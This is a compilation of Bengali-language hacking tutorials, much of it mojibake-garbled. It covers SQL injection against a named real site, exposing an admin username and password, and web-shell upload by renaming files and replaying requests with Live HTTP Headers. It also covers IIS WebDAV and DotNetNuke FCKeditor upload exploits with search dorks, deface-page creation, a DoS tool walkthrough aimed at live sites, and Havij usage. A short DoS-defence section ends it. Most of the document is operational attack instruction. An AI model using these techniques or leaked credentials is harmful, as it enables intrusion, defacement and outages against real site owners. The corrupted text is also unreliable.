uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
